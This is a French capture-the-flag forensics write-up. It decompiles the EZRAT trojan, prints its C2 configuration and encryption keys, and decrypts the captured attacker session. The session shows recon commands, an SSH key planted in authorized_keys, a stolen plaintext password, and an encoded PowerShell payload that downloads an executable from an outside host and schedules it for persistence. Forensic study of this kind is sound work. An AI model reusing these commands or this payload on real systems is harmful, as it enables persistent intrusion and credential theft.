Data Siege
Catégorie: Forensics Difficulté: medium Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
Challenge
Description
It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the communication backbone. Note: Flag is split into three parts.
Analyse
Fichier .pcap
Nous avons une capture du traffic réseau, dedans on peut aller voir les différents fichiers échangés avec le protocol HTTP

Il y a 3 fichiers (dont 2 identiques donc que 2 fichiers intéressants) :
aQ4caZ.exe
un exécutablenBISC4YJKs7j4I
un fichier sans extension
Fichier nBISC4YJKs7j4I
En l’ouvrant dans un éditeur de texte, on voit qu’il s’agit d’XML et que c’est ce fichier qui est respnsable du téléchargement de l’exécutable.

Ligne 7 on voit que le powershell va cherche l’exécutable et le lance ensuite
Fichier aQ4caZ.exe
Pré-analyse
Un coup de file
dessus permet de voir qu’il s’agit d’un PE en .NET. On peut donc utiliser DotPeek pour le décompiler.
$ file aQ4caZ.exe
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Etude du code
Il contient 4 namespaces : EZRATClient
/ EZRATClientCore
/ EZRATClient.Forms
/ EZRATCient.Utils
Dans EZRATClient
on y trouve la classe Program
namespace EZRATClient
{
public class Program
{
private static TcpClient client = new TcpClient();
private static bool connectedBefore = false;
private static Thread TConnect;
public static Socket _clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
private static bool _isDiconnect;
private static bool isFileDownload;
private static string fup_location = "";
// [...]
Celle-ci permet visiblement de créer une recevoir une connexion TCP puis de recevoir et envoyer des commandes.
Mais comme on peut le voir à la ligne 9 de sa fonction SendCommand
, tout le traffic est chiffré avant l’envoie :
public static void SendCommand(string response)
{
if (!Program._clientSocket.Connected)
{
Console.WriteLine("Socket is not connected!");
}
else
{
response = Program.Encrypt(response);
byte[] bytes = Encoding.Default.GetBytes(response);
try
{
Program._clientSocket.Send(bytes);
}
catch (Exception ex)
{
Console.WriteLine("Send Command Failure " + ex.Message);
}
}
}
On trouve la également la fonction Decrypt
qui prend en paramètre simplement le chiffré
public static string Decrypt(string cipherText)
{
try
{
string encryptKey = Constantes.EncryptKey;
byte[] buffer = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
{
(byte) 86,
(byte) 101,
(byte) 114,
(byte) 121,
(byte) 95,
(byte) 83,
(byte) 51,
(byte) 99,
(byte) 114,
(byte) 51,
(byte) 116,
(byte) 95,
(byte) 83
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(buffer, 0, buffer.Length);
cryptoStream.Close();
}
cipherText = Encoding.Default.GetString(memoryStream.ToArray());
}
}
return cipherText;
}
// [...]
Cette fonction est intéressante parce qu’on voit qu’elle déchiffre de l’AES et que pour générer la clé, elle utilise une dérivation de clé rfc2898DeriveBytes
Cette fonction de dérivation prend 2 paramètres selon la doc de microsoft : un mot de passe et un salt.
Concernant le deuxième, le salt est écrit en dur : [86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83]
En ASCII ça se traduit par : Very_S3cr3t_S
Concernant la clé, on voit qu’elle vient de Constantes.EncryptKey
et donc on peut la récupérer en se baladant dans la classe Constants
On peut également trouver l’ip / port de l’attaquant ainsi que la clé de chiffrement utilisée
public static class Constantes
{
private const int _SW_HIDE = 0;
private const int _SW_SHOW = 5;
private static string _ip = "10.10.10.21";
private static int _port = 1234;
private static int _screenShotSpeed = 100;
private static string _version = "0.1.6.1";
private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";
private static Size _defaultCompressionSize = new Size(1280, 720);
private static string _separator = "|";
private static string _special_Separator = "¦";
private static Thread _spy;
// [...]
Récupération des échanges
On connait donc l’adresse de l’attaquant, sa méthode de chiffrement et surtout comme la déchiffrer
Filtrage du réseau
Sachant que l’on cherche de la base64, on voit rapidemment des échanges qui y ressemblent dans le stream n°5. On va donc filtrer le traffic et déchiffrer ces messages
Pour le déchiffrement :
SECRET = b"VYAemVeO3zUDTL6N62kVA"
SALT = b"Very_S3cr3t_S"
derived = PBKDF2(SECRET, SALT, dkLen=48)
KEY = derived[:32]
IV = derived[32:48]
def decrypt(msg: bytes) -> bytes:
cipher = AES.new(KEY, AES.MODE_CBC, IV)
return unpad(cipher.decrypt(base64.b64decode(msg)), AES.block_size)
Pour le filtrage du traffic :
def solve():
filename = 'capture.pcap'
attacker_ip = "10.10.10.21"
cap = pyshark.FileCapture(filename, display_filter="tcp.stream == 5", only_summaries=False)
for packet in cap:
if 'payload' not in packet.tcp.field_names:
pass
Script complet
import base64
import re
import pyshark
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
SECRET = b"VYAemVeO3zUDTL6N62kVA"
SALT = b"Very_S3cr3t_S"
derived = PBKDF2(SECRET, SALT, dkLen=48)
KEY = derived[:32]
IV = derived[32:48]
def decrypt(msg: bytes) -> bytes:
cipher = AES.new(KEY, AES.MODE_CBC, IV)
return unpad(cipher.decrypt(base64.b64decode(msg)), AES.block_size)
def solve():
filename = 'capture.pcap'
attacker_ip = "10.10.10.21"
cap = pyshark.FileCapture(filename, display_filter="tcp.stream == 5", only_summaries=False)
for packet in cap:
# Si le paquet contient des données
if 'payload' not in packet.tcp.field_names:
continue
# Récupération des données du paquet en bytes
data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
# Si le paquet vient de l'attaquant
is_attacker = packet.ip.src == attacker_ip
# Retirer l'entête du paquet s'il y en a un
if is_attacker and re.match(r'\d+\xa7.*'.encode(), data):
data = data.split(b'\xa7', 1)[1]
print()
# Déchiffre le paquet
try:
print(decrypt(data).decode('latin-1'))
except Exception:
print(f'Error while decrypting: {data}')
if __name__ == '__main__':
solve()
En sortie on a alors :
getinfo-0
infoback;0;10.10.10.22|SRV01|SRV01\svc01|Windows 10 Enterprise Evaluation|0.1.6.1
procview;
procview;svchost¦2060;svchost¦5316;ApplicationFrameHost¦4920;csrss¦388;svchost¦1372;svchost¦832;VBoxTray¦2748;fontdrvhost¦684;services¦576;svchost¦3528;lsass¦584;svchost¦6872;svchost¦1552;spoolsv¦1748;VBoxService¦1156;svchost¦760;conhost¦4108;svchost¦1152;dllhost¦6864;svchost¦2528;svchost¦1936;Memory Compression¦1428;RuntimeBroker¦4692;svchost¦4112;svchost¦1932;svchost¦748;smss¦284;svchost¦1140;svchost¦6852;svchost¦2320;MicrosoftEdge¦5076;svchost¦1332;svchost¦740;svchost¦3888;conhost¦4896;dwm¦340;java¦6052;svchost¦928;svchost¦3488;YourPhone¦1320;svchost¦1516;dllhost¦4204;SearchUI¦4664;svchost¦328;winlogon¦524;SgrmBroker¦6628;svchost¦2096;svchost¦1504;cmd¦2488;svchost¦1304;NisSrv¦2336;MicrosoftEdgeSH¦5636;svchost¦1104;browser_broker¦4592;svchost¦1100;svchost¦5284;explorer¦4052;svchost¦1164;svchost¦2076;svchost¦1680;aQ4caZ¦7148;svchost¦692;svchost¦100;dumpcap¦3516;MsMpEng¦2260;RuntimeBroker¦4820;svchost¦1272;Microsoft.Photos¦6392;svchost¦3436;fontdrvhost¦676;cmd¦84;taskhostw¦3628;RuntimeBroker¦6188;RuntimeBroker¦1384;java¦7028;MicrosoftEdgeCP¦5592;svchost¦1256;svchost¦3816;csrss¦464;Registry¦68;sihost¦3416;SecurityHealthSystray¦3156;svchost¦6368;svchost¦6564;wininit¦456;ctfmon¦3940;svchost¦1636;SecurityHealthService¦844;svchost¦1040;svchost¦2024;svchost¦6980;svchost¦1628;svchost¦1824;svchost¦1288;wlms¦2216;RuntimeBroker¦5564;svchost¦5364;svchost¦1620;svchost¦2012;svchost¦396;svchost¦6540;RuntimeBroker¦6780;WindowsInternal.ComposableShell.Experiences.TextInput.InputApp¦2200;svchost¦1604;svchost¦788;svchost¦1400;uhssvc¦6824;SearchIndexer¦5532;svchost¦4940;svchost¦3560;svchost¦1392;svchost¦1588;svchost¦1784;wrapper¦2176;svchost¦2568;ShellExperienceHost¦4536;System¦4;conhost¦2368;OneDrive¦1184;svchost¦1472;Idle¦0;
cmd;C:\;hostname
cmd;C:\;srv01
cmd;C:\;whoami
cmd;C:\;srv01\svc01
cmd;C:\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{c0mmun1c4710n5 >> C:\Users\svc01\.ssh\authorized_keys
cmd;C:\;
cmd;C:\;dir C:\Users\svc01\Documents
cmd;C:\; Volume in drive C is Windows 10
Volume Serial Number is B4A6-FEC6
Directory of C:\Users\svc01\Documents
02/28/2024 07:13 AM <DIR> .
02/28/2024 07:13 AM <DIR> ..
02/28/2024 05:14 AM 76 credentials.txt
1 File(s) 76 bytes
2 Dir(s) 24,147,230,720 bytes free
cmd;C:\;type C:\Users\svc01\Documents\credentials.txt
cmd;C:\;Username: svc01
Password: Passw0rdCorp5421
2nd flag part: _h45_b33n_r357
lsdrives
lsdrives;C:\|
lsfiles
lsfiles-C:\
lsfiles;C:\;$Recycle.Bin¦2|BGinfo¦2|Boot¦2|Documents and Settings¦2|PerfLogs¦2|Program Files¦2|Program Files (x86)¦2|ProgramData¦2|Recovery¦2|System Volume Information¦2|temp¦2|Users¦2|Windows¦2|bootmgr¦1¦408364|BOOTNXT¦1¦1|BOOTSECT.BAK¦1¦8192|bootTel.dat¦1¦80|pagefile.sys¦1¦738197504|swapfile.sys¦1¦268435456|
lsfiles;C:\;$Recycle.Bin¦2|BGinfo¦2|Boot¦2|Documents and Settings¦2|PerfLogs¦2|Program Files¦2|Program Files (x86)¦2|ProgramData¦2|Recovery¦2|System Volume Information¦2|temp¦2|Users¦2|Windows¦2|bootmgr¦1¦408364|BOOTNXT¦1¦1|BOOTSECT.BAK¦1¦8192|bootTel.dat¦1¦80|pagefile.sys¦1¦738197504|swapfile.sys¦1¦268435456|
lsfiles-C:\temp\
lsfiles;C:\temp\;aQ4caZ.exe¦1¦29184|
upfile;C:\temp\4AcFrqA.ps1
Error while decrypting: b'powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="\r\nAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB'
Error while decrypting: b'1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8'
upfilestop;
On trouve la première partie du flag dans la commande
echo ssh-rsa
:HTB{c0mmun1c4710n5
La seconde dans le fichier
credentials.txt
qui est affiché :_h45_b33n_r357
La troisième partie se trouve dans le fichier upload sur la victime, c’est à dire le paquet que l’on a pas pu déchiffrer puisqu’il n’était pas chiffré. Il s’agit du fichier 4AcFrqA.ps1
qui contient du powershell en base64, il suffit donc de le décoder

Dernière mise à jour
Cet article vous a-t-il été utile ?